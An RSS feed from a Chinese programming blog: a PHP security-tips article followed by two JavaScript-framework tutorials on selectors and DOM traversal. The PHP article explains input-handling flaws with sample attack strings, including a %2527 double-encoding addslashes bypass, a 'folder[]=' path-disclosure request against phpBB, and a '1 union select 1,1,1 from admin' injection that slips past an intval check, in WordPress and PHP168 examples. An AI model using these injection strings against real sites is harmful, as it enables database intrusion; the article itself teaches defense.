<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[隐然依旧_我来帮 - 程序知识]]></title>
<link>http://www.wtwlb.com/</link>
<description><![CDATA[以城感人者,人亦诚而应]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[ningjian198906@163.com(ningjian)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>隐然依旧_我来帮</title>
	<url>http://www.wtwlb.com/images/logos.gif</url>
	<link>http://www.wtwlb.com/</link>
	<description>隐然依旧_我来帮</description>
</image>

			<item>
			<link>http://www.wtwlb.com/article.asp?id=234</link>
			<title><![CDATA[php安全方面的要点-绝对有很多人不是很清楚]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Sun,15 Aug 2010 22:45:25 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=234</guid>
		<description><![CDATA[<p><strong>1. 输入输出安全</strong> <br />
<br />
(1)关闭 register_global 选项(php4及以前)，初始化所有变量，能防止调用未定义变量notice错误，也能够防范一些hacker行为 <br />
<br />
(2)接收任何变量的时候，务必记住：所有用户输入都是不安全的！如果确定用户输入数据是整数(比如ID之类)，可以使用(int)或intval()函数强制类型转换，如果是字符串类型，使用 addslashes 或 mysql_escape_string(如果考虑数据库编码请连接数据库后使用mysql_real_escape_string更安全，针对GBK等编码，使用该函数能够防范目前很多GBK编码爆出的注入漏洞)注1 <br />
<br />
(3)输出数据的时候，如果害怕html，可以使用strip_tags全部过滤，或者使用 htmlspecialchars 进行html标签转义保证输出到页面不会构成威胁，另外，最好输入或者输出的时候过滤所有的&lt;script&gt;&lt;iframe&gt;&lt;object&gt;等标记和内容，有时候&lt;style&gt;或作为属性的style也最好过滤一下 <br />
<br />
注1：问题来自多字节编码。例如在GBK里，0xbf27并不是一个合法的双字节字符，因此addslash()会把它转义成0xbf5c27，碰巧0xbf5c是一个合法的双字节字符，由此可以注入一个0x27 (')。addslash()和mysql_escape_string无药可救。mysql_real_escape_string()可以根据字符集正确地转义，但是需要在建立数据库联接的时候指明&ldquo;SET CHARACTER SET 'GBK'&rdquo;。 <br />
<br />
<br />
<strong>2. php系统安全</strong> <br />
<br />
(1)打开 safe_mode 是最重要的，同时设置 open_basedir, safe_mode_include_dir,safe_mode_exec_dir 等选项 <br />
<br />
(2)当要操作或者包含文件的时候，使用realpath 和 basename 检查文件是否是本地文件 <br />
<br />
(3)如果很多危险函数如果不使用，建议关闭，关闭函数修改disbale_functions选项，比如很多命令执行函数、eval、phpinfo 等函数 <br />
<br />
(4)如果不需要上传文件功能可以关闭，如果需要记得设置 post_max_size 选项为你合适的大小，否则文件系统很容易被塞满，并且move_uploaded_file来操作上传的文件，而且不是使用copy <br />
<br />
(5)把库文件(.inc)和数据文件(数据信息,配置信息,sqlite数据库等)不要与web目录放在一起，防止被下载 <br />
<br />
<br />
<strong>3.小议urldecode等函数的安全使用</strong> <br />
urldecode函数在很多程序中是经常使用的，对用户提交的某些字符进行URL解码，防止一些字符截断之类的问题出现，但是如果使用不当可能会出现一些安全问题，举两个例子 <br />
1，泄露绝对路径 <br />
这个问题比较典型了，但是需要PHP的错误回显打开才行。看这段小代码 <br />
&amp;lt;? <br />
$name[] = &quot;abc&quot;; <br />
echo $name[0]; <br />
echo $name[1]; <br />
echo $name[2]; <br />
$name1=&quot;def&quot;; <br />
echo $name1[0]; <br />
echo $name1[1]; <br />
echo $name1[2]; <br />
echo urldecode($name); <br />
?&amp;gt; <br />
PHP的变量可以用数组的形式操作，那么是不是在任何地方都可以互相使用呢，这段代码的输出如下： <br />
abcdef <br />
Warning: urldecode() expects parameter 1 to be string, array given in C:\Apache Group\Apache2\htdocs\px\non48.php on line 10 <br />
可见，WEB程序的绝对路径已经暴露出来了，在一些注入攻击或者一些文件包含漏洞中知道绝对路径对一些进一步猜测或者load_file()的作用还是很大的,有此类问题的函数还有：urlencode,urldecode,rawurlencode,rawurldecode,base64_encode,mysql_connect等等。实例PHPBB论坛绝对路径泄漏 <br />
代码如下： <br />
if ( isset($HTTP_POST_VARS['folder']) || isset($HTTP_GET_VARS['folder']) ) <br />
<br />
{ <br />
<br />
$folder = ( isset($HTTP_POST_VARS['folder']) ) ? $HTTP_POST_VARS['folder'] : $HTTP_GET_VARS['folder']; <br />
<br />
$folder = htmlspecialchars($folder); <br />
<br />
if ( $folder != 'inbox' &amp;&amp; $folder != 'outbox' &amp;&amp; $folder != 'sentbox' &amp;&amp; $folder != 'savebox' ) <br />
<br />
{ <br />
<br />
$folder = 'inbox'; <br />
<br />
} <br />
<br />
} <br />
<br />
else <br />
<br />
{ <br />
<br />
$folder = 'inbox'; <br />
<br />
} <br />
提交：http://localhost/phpBB2/privmsg.php?folder[]= <br />
回显： <br />
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/privmsg.php on line 61 <br />
<br />
<strong>4，bypass GPC或addslashes注入</strong> <br />
在GPC或者addslashes的影响下，变量被放在一对单引号中，进行SQL注入攻击时首先就是要闭合单引号才能继续构造查询语句，这时单引号会被转义成\'导致攻击失败，由于urldecode函数对变量的解码处理导致我们给变量赋值%2527，浏览器会把%25解码为%，然后%27被带入urldecode函数处理，再解码为'，这样的话，单引号就被顺利带入并绕过了GPC或者addslashes，实例wordpress的wp-admin/admin-ajax.php页面注入漏洞： <br />
define('DOING_AJAX', true); <br />
check_ajax_referer(); <br />
if ( !is_user_logged_in() ) <br />
die('-1'); <br />
...漏洞出在check_ajax_referer(); 函数，进一步看下去 <br />
function check_ajax_referer() { <br />
$cookie = explode('; ', urldecode(empty($_POST['cookie']) ? <br />
$_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass <br />
cookie=document.cookie <br />
foreach ( $cookie as $tasty ) { <br />
if ( false !== strpos($tasty, USER_COOKIE) ) <br />
$user = substr(strstr($tasty, '='), 1); <br />
if ( false !== strpos($tasty, PASS_COOKIE) ) <br />
$pass = substr(strstr($tasty, '='), 1); <br />
} <br />
if ( !wp_login( $user, $pass, true ) ) <br />
die('-1'); <br />
注意这一段句： <br />
$cookie = explode('; ', urldecode(empty($_POST['cookie']) ? <br />
$_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass <br />
用urldecode函数处理cookie，而处理后的用户信息最终被带入数据库语句查询 <br />
function get_userdatabylogin($user_login) { <br />
global $wpdb; <br />
... <br />
if ( !$user = $wpdb-&amp;gt;get_row(&quot;Select * FROM $wpdb-&amp;gt;users <br />
Where user_login = '$user_login'&quot;) ) <br />
return false; <br />
这样攻击者构造用户信息为%2527 and 1=1就会在urldecode函数作用下顺利闭合单引号，实现SQL注入攻击 <br />
if ( !$user = $wpdb-&amp;gt;get_row(&quot;Select * FROM $wpdb-&amp;gt;users <br />
Where user_login = &lsquo;&rsquo; and 1=1&quot;) ) <br />
实例2PHP168SQL注入漏洞 <br />
if(!$keyword) <br />
{ <br />
extract($db-&amp;gt;get_one(&quot;Select keywords AS keyword FROM {$pre}article Where aid='$id'&quot;)); <br />
} <br />
<br />
if($keyword){ <br />
$SQL.=&quot; AND ( &quot;; <br />
$keyword=urldecode($keyword); <br />
$detail=explode(&quot; &quot;,$keyword); <br />
unset($detail2); <br />
foreach( $detail AS $key=&amp;gt;$value){ <br />
$detail2[]=&rdquo; BINARY title LIKE &lsquo;%$value%&rsquo; &ldquo;; <br />
} <br />
$str=implode(&rdquo; or &ldquo;,$detail2); <br />
$SQL.=&rdquo; $str ) &ldquo;; <br />
}else{ <br />
$SQL.=&rdquo; AND 0 &ldquo;; <br />
} <br />
<br />
$ORDER=&rsquo; list &lsquo;; <br />
} <br />
<br />
if(!$webdb[viewNoPassArticle]){ <br />
$SQL.=&rsquo; AND yz=1 &lsquo;; <br />
} <br />
<br />
$SQL=&rdquo; Where $SQL orDER BY $ORDER DESC LIMIT $rows&rdquo;; <br />
$which=&rsquo;*'; <br />
$listdb=list_article($SQL,$which,$leng); <br />
$keyword经过urldecode后进入SQL查询语句，漏洞由此产生 <br />
<br />
<strong>5.安全使用intval函数</strong> <br />
关于这个函数的功能不再多说什么了，手册上写的很明白 <br />
intval最常用的是在程序中过滤进入数据库的变量，将其转换为整型，防止SQL注入攻击的产生 <br />
但是使用不当的话则会起不到检查的作用，下面就结合一个实例来说明这个问题 <br />
国内某个CMS系统，经过ZEND加密了，解密后某文件代码如下： <br />
$id = isset( $_GET['id'] ) ? $_GET['id'] : 0; <br />
if ( intval( $id ) ) <br />
{ <br />
$sql = &quot;Select url FROM &quot;.$tablepre.&quot;feed Where id={$id} AND uploader='{$SESSION['uid']}'&quot;; <br />
代码很简单，获取GET来的id用intval函数判断，如果是整型则带入数据库查询，看似逻辑上没有什么问题，但实际上这段代码没有起到任何的check作用，为什么呢？看如下脚本： <br />
&lt;? <br />
$var=&quot;20070601&quot;； <br />
if (intval($var)) <br />
echo &quot;it's safe&quot;; <br />
echo '$var='.$var; <br />
echo &quot;&lt;br&gt;&quot;; <br />
$var1=&quot;1 union select 1,1,1 from admin&quot;; <br />
if (intval($var1)) <br />
echo &quot;it's safe too&quot;; <br />
echo '$var1='.$var1; <br />
?&gt; <br />
运行以上脚本可以看到，两个判断的结果都是safe的，但实际上只有$var是安全的$var1变量后已经附带的有额外的SQL查询语句了，那么intval是如何判断的呢？这就需要看intval函数在PHP中是如何实现的，代码如下： <br />
PHP_FUNCTION(intval) <br />
{ <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; zval **num, **arg_base; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int base; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch (ZEND_NUM_ARGS()) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 1: <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (zend_get_parameters_ex(1, &amp;num) == FAILURE) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WRONG_PARAM_COUNT; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; base = 10; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 2: <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (zend_get_parameters_ex(2, &amp;num, &amp;arg_base) == FAILURE) { <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WRONG_PARAM_COUNT; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; convert_to_long_ex(arg_base); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; base = Z_LVAL_PP(arg_base); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default: <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WRONG_PARAM_COUNT; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RETVAL_ZVAL(*num, 1, 0); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; convert_to_long_base(return_value, base); <br />
} <br />
intval函数只判断参数的第一个字符是否为整型，这样如果放在if中，只要满足变量第一个字符为整型，则返回值为ture，所以说用if来判断intval后的变量是不安全的。 <a href="http://www.wtwlb.com//blog/364510"></a></p>]]></description>
		</item>
		
			<item>
			<link>http://www.wtwlb.com/article.asp?id=224</link>
			<title><![CDATA[Javascri&#112;t框架的选择函数:DOM遍历]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Mon,31 May 2010 09:31:25 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=224</guid>
		<description><![CDATA[<p>DOM遍历</p>
<p>基于ID、元素类型、类名查找元素非常有用，但是如果你想基于它在DOM树中的位置来查找元素该怎么办？换句话说，你有一个给定的元素，你想查找它的父元素、子元素中的一个、它的上一个或下一个节点兄弟节点。例如，采用下面这段零碎的HTML代码：</p>
<p>清单1：HTML碎片（一个table）</p>
<p>&lt;table&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;thead&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;th&gt;Name&lt;/th&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;th&gt;Email Address&lt;/th&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;th&gt;Actions&lt;/th&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/thead&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;tbody&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr id=&quot;row-001&quot;&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt;Joe Lennon&lt;/td&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt;joe@joelennon.ie&lt;/td&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt;&lt;a href=&quot;#&quot;&gt;Edit&lt;/a&gt;&amp;nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;a href=&quot;#&quot;&gt;Delete&lt;/a&gt;&lt;/td&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr id=&quot;row-002&quot;&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt;Jill Mac Sweeney&lt;/td&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt;jill@example.com&lt;/td&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt;&lt;a href=&quot;#&quot;&gt;Edit&lt;/a&gt;&amp;nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;a href=&quot;#&quot;&gt;Delete&lt;/a&gt;&lt;/td&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/tbody&gt;<br />
&lt;/table&gt;</p>
<p>清单1使用缩进来说明其中每个元素节点在DOM树中的位置。在这个实例中，table元素是根元素，有两个子节点thead和tbody。thead元素有一个tr子节点，tr有三个孩子－－所有的th元素。tbody元素有两个tr子节点，每个tr节点有三个孩子。在上述每一行的第三个节点中进一步包含子节点，都是两个链接标记。</p>
<p>正如你知道的那样，你可以使用一个Javascri&#112;t框架的选择函数通过ID很轻松的选择一个元素。在这个实例中，有两个元素拥有ID，它们是ID分别为row-001和row-002的tr元素。使用Prototype库选择第一个tr，可以使用下面的代码：</p>
<p>var theRow = $('row-001');</p>
<p>在上一章，你还了解到，基于元素的类型或class使用选择器来获取元素。在这个实例中，你可以使用下面的语法来得到所有的td元素。</p>
<p>var allCells = $$('td');</p>
<p>改代码的主要问题在于它返回了每一个td 元素。但是，如果你只想得到ID为row-001的tr的所有td元素该怎么办？这正是DOM遍历函数发挥作用的地方。首先，让我们使用原型来选择ID为row-001的tr的所有的子级。</p>
<p>var firstRowCells = theRow.childElements();</p>
<p>这将返回theRow变量（你最初设置的ID为row-001的tr）所有子元素的数组。</p>
<p>接下来，我们假设你只想得到该行的第一个子元素。在本例中，即包含&ldquo;Joe Lennon&rdquo;文本的td元素。要做到这一点，使用下面的语句：</p>
<p>var firstRowFirstCell = theRow.down();</p>
<p>真简单！这个特定的使用方法等价于：</p>
<p>var firstRowFirstCell = theRow.childElements()[0];</p>
<p>也可以这样表示：</p>
<p>var firstRowFirstCell = theRow.down(0);</p>
<p>Javascri&#112;t的索引从零开始，所以上面的语句主要告知Javascri&#112;t来选择第一个子元素。要选择第二个子元素（单元格包含电子邮件地址<a href="http://www.wtwlb.com/mailto:joe@joelennon.ie">joe@joelennon.ie</a>），你可以这样用：</p>
<p>var firstRowSecondCell = theRow.down(1);</p>
<p>或者，你可以在兄弟节点之间浏览DOM。本例中，第二个单元格是第一个单元格的下一个兄弟节点。因此，你可以使用下面的语句：</p>
<p>var firstRowSecondCell = firstRowFirstCell.next();</p>
<p>与down()函数工作一样，选择第三个单元格可以这样使用。</p>
<p>var firstRowThirdCell = firstRowFirstCell.next(1);</p>
<p>除了使用索引来查找特定节点外，Prototype库还可以使用CSS选择器语法。在清单1中，我们要找到第二个包含 Jill Mac Sweeney&rsquo; 详细信息的链接（&ldquo;删除&rdquo;链接）。</p>
<p>var secondRowSecondLink = $('row-002').down('a', 1);</p>
<p>在本例中，使用$函数来查找ID为row-002的那一行，向下遍历到第二个后代a元素（锚点）。</p>
<p>一些框架还允许&ldquo;菊花链式&rdquo;的遍历功能，这意味着你可以彼此连接遍历命令。上面的例子中，Prototype库的另一种表达方式是这样的：</p>
<p>var secondRowSecondLink = $('row-002').down('a').next();</p>
<p>看看下面的例子：</p>
<p>var domTraversal = $('row-001').down().up().next().previous();</p>
<p>正如你所见，菊花链允许你连接多个DOM遍历语句。事实上，上述例子实际上最终选择ID为row-001的tr元素，所以菊花链又回到了开始的地方。<br />
&nbsp;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wtwlb.com/article.asp?id=223</link>
			<title><![CDATA[什么是Javascri&#112;t框架]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Mon,31 May 2010 09:29:34 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=223</guid>
		<description><![CDATA[<p>摘要：现代网站和web应用程序趋向于依赖客户端的大量的javascri&#112;t来提供丰富的交互。特别是通过不刷新页面的异步请求来返回数据或从服务器端的脚本（或数据系统）中得到响应。在这篇文章中，你将会了解到javascri&#112;t框架如何更快、更方便的创建互动性强、响应快得网站和web应用程序。</p>
<p>导言：Javascri&#112;t是一种面向对象的脚本语言，一直以来用作Web浏览器应用程序客户端脚本接口的选择。Javascri&#112;t允许Web开发人员编程与网页上的对象的工作,为凭空操作这些对象提供了一个平台。当Javascri&#112;t最初推出时，它通常用来提供一些微不足道的功能，如时钟、在浏览器状态栏中滚动文本。另外一个常用特色就是&ldquo;rollover link&rdquo;,即当用户的鼠标滑过对象时，其文本的颜色或背景图片发生改变。然而，近年来Ajax为网络编程带来了全新的互动，Javascri&#112;t几经发展变得更加有用。在Ajax之前，任何服务器端处理或数据库访问都需要整页面被&ldquo;刷新&rdquo;或由浏览器呈现新的页面。这不仅缓慢，令用户失望，而且也浪费了带宽和资源。</p>
<p>Ajax就是异步的Javascri&#112;t和XML，虽然引用XML不在有效，但是Ajax能对除了XMl的其它几种格式的数据作出响应，如JSON(Javascri&#112;t对象表示法)。 Ajax的工作原理是，以异步的方式提交一个 HTTP请求提交到web服务器，不刷新也不呈现整个页面，仅呈现响应的内容。相反，开发人员通常使用DOM（文档对象模型）操作修改网页的一部分，HTTP响应返回的数据将反映这些改变。</p>
<p>什么是Javascri&#112;t框架？</p>
<p>Javascri&#112;t本身是一种非常强大的语言，你不需要任何额外的框架就可以创建由它支持的富互联网应用系统（RIA）。但是，使用Javascri&#112;t并不是一件容易的事，主要是因为在试图提供多种浏览器支持时各种并发症的出现。和HTML和CSS一样，不同的浏览器的Javascri&#112;t执行方式不同，那么确保您的Javascri&#112;t代码跨浏览器兼容可以说是一个恶梦。</p>
<p>一个Javascri&#112;t框架或库实际上是一系列工具和函数，它能更容易产生跨浏览器兼容的Javascri&#112;t代码。每个库在许多流行的最新版本的Web浏览器经过了严格测试。因此，您完全可以相信，使用这些框架中的任何一个，您的基于Javascri&#112;t的RIA在不同的浏览器和平台中将大体一致。</p>
<p>除了浏览器兼容性问题外，Javascri&#112;t框架可以更容易地编写代码去获取、遍历及操纵DOM元素。它们不仅能提供一个快捷的函数来获取一个DOM元素的引用，而且还允许菊花式的DOM遍历函数链查找父母、子女或任何深度的兄弟节点元素。最后，框架提供了一系列的函数，使其更容易的操纵这些对象，允许其内容更改、添加、删除，或者操纵class的样式而影响元素的外观。</p>
<p>Javascri&#112;t框架的另一个重要特色就是能更好的支持事件处理。由于浏览器之间的不同实现，跨浏览器事件处理可以说是一个恶梦。因此，Javascri&#112;t框架通常将浏览器事件包装起来，并提供一系列有用的跨浏览器函数来处理它们。一些框架也提供了标准化的代表键盘键码系列的事件（如Esc键、Enter键、光标等等）。</p>
<p>所有这些功能是非常有用的，Javascri&#112;t框架已在其最近流行Ajax应用中起重要作用。和Javascri&#112;t其他方面一样，每个Web浏览器倾向于支持以不同的方式Ajax，使Ajax支持所有的浏览器将是很繁重的工作。几乎所有的Javascri&#112;t框架都包括一定形式的Ajax库，通常是提供Ajax请求和响应对象，在对响应作出评价后，更新DOM元素，轮询一个特定的请求。</p>
<p>一个Javascri&#112;t框架的典型特征</p>
<p>现在让我们看看大多数Javascri&#112;t框架都具有的一些功能。这些特色有：</p>
<p>选择器 <br />
DOM遍历 <br />
DOM操作 <br />
实用函数 <br />
事件处理 <br />
Ajax <br />
为了更好的诠释这些特色，我将从下面一个或多个Javascri&#112;t框架中列举一个例子：Prototype, jQuery， YUI，ExtJS和 MooTools。虽然每个框架的执行情况和语法不同，但其概念大致相同。每个框架有一个详细的API参考，你可以参考它决定如何使用这些特定库的特色功能。<br />
选择器</p>
<p>大多数Javascri&#112;t框架可实现某种形式的快速元素选择。一般来说，这些选择器使获取一个元素的引用更加快捷，并允许你通过ID、class、元素类型或一些伪类选择符来选取元素。</p>
<p>例如，使用通常的Javascri&#112;t，你可以使用下面的代码借助ID来取得DOM元素。</p>
<p>var theElement = document.getElementById('the_element');</p>
<p>与其他几个框架一样，MooTools提供了一个执行该操作的快捷方法。除了选择元素，MooTools通过自己一系列的功能函数扩展了元素。</p>
<p>var theElement = $('the_element');</p>
<p>$函数在几个流行的框架（并非全部）中可用，其语法大致相同。Prototype更深一层，通过ID在任何时候可以选择多个元素，返回的是一个元素数组。与</p>
<p>MooTools一样，这些元素利用Prototype的实用函数扩展。利用Prototype库在任何时候选择多个元素的语法是这样的：</p>
<p>var elementArray = $('element_one', 'element_two', 'element_three');</p>
<p>在实用函数这一部分，你将了解到Javascri&#112;t框架提供的一些函数迭代我们的集合更加容易。</p>
<p>在前面的例子，你必须提供你欲选择元素的ID。但是，你要选择多个元素该怎么办？所有image、拥有特定className的表格的每一行。MooTools（其它的几个库）提供了一个非常简单的方法来做到这一点－－$$函数。除了元素的ID外，他还可以接受以下参数：元素的名字、类名以及伪类选择器，其工作原理与$函数相似。例如，使用MooTools获取页面上所有的图片，你可以使用下面的代码：</p>
<p>var allImages = $$('img');</p>
<p>这将得到文档中所有imag的数组，每一个通过$函数和其实用函数进行扩展。</p>
<p>通过tag标签来选取对象是非常有用的，但如果你只想基于元素的class选取它的部分子集，遮盖怎么办？同样很简单。在下面的例子中，MooTools将选择table中class为&ldquo;odd&rdquo;的行，这在对每行进行操作时很有用（交替变换表格每一行的颜色）。</p>
<p>var allOddRows = $$('tr.odd');</p>
<p>事实上，MooTools提供了一个更好的方法执行行操作。在前面的例子中，假定table的奇数行授予了类名&ldquo;odd&rdquo;。那么下面的代码不需要在table的每一行上定义任何类名。</p>
<p>var allOddRows = $$('tbody &lt;IMG class=wp-smiley alt=:o src=&quot;<a href="http://www.denisdeng.com/wp-includes/images/smilies/icon_surprised.gif">http://www.denisdeng.com/wp-includes/images/smilies/icon_surprised.gif</a>&quot;&gt; dd');</p>
<p>这是一个伪类选择器的例子，它返回匹配规范的任何对象。在这个例子中，结果为页面中tbody元素中所有奇数行的子元素。MooTools其它伪类元素的例子包括：</p>
<p>checked 所有被选中的元素（例如：选中的复选框）； <br />
enabled 所有可用的元素； <br />
contains 所有包含文本（作为参数传递给选择器）的元素。 <br />
如前所述，并非所有的Javascri&#112;t框架都使用$函数来选取DOM元素。在YUI（Yahoo用户界面）的第三个版本中，下面的代码是通过ID来选取元素的（注意：YUI3需要在ID前加上字符#）。</p>
<p>var theElement = Y.one('#the_element');</p>
<p>同样，通过tag或class来选取元素也不是使用$$函数，在YUI中你要使用Y.all来代替。</p>
<p>var allOddRows = Y.all('tr.odd');</p>
<p>ExtJS以同样的方式工作，通过ID选择元素用下面的语法：</p>
<p>var theElement = Ext.get('the_element') ;</p>
<p>而通过tag和class来获取元素则用下面的语法：</p>
<p>var allOddRows = Ext.select('tr.odd');</p>
<p>在下一章中，你将了解到如何使用Javascri&#112;t框架来轻松遍历DOM对象，换句话说，找到与选定元素有父子和兄弟关系的元素。<br />
&nbsp;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wtwlb.com/article.asp?id=221</link>
			<title><![CDATA[Javascri&#112;t中的事件处理]]></title>
			<author>ningjian198906@163.com(nj)</author>
			<category><![CDATA[程序知识]]></category>
			<pubDate>Mon,31 May 2010 08:35:15 +0800</pubDate>
			<guid>http://www.wtwlb.com/default.asp?id=221</guid>
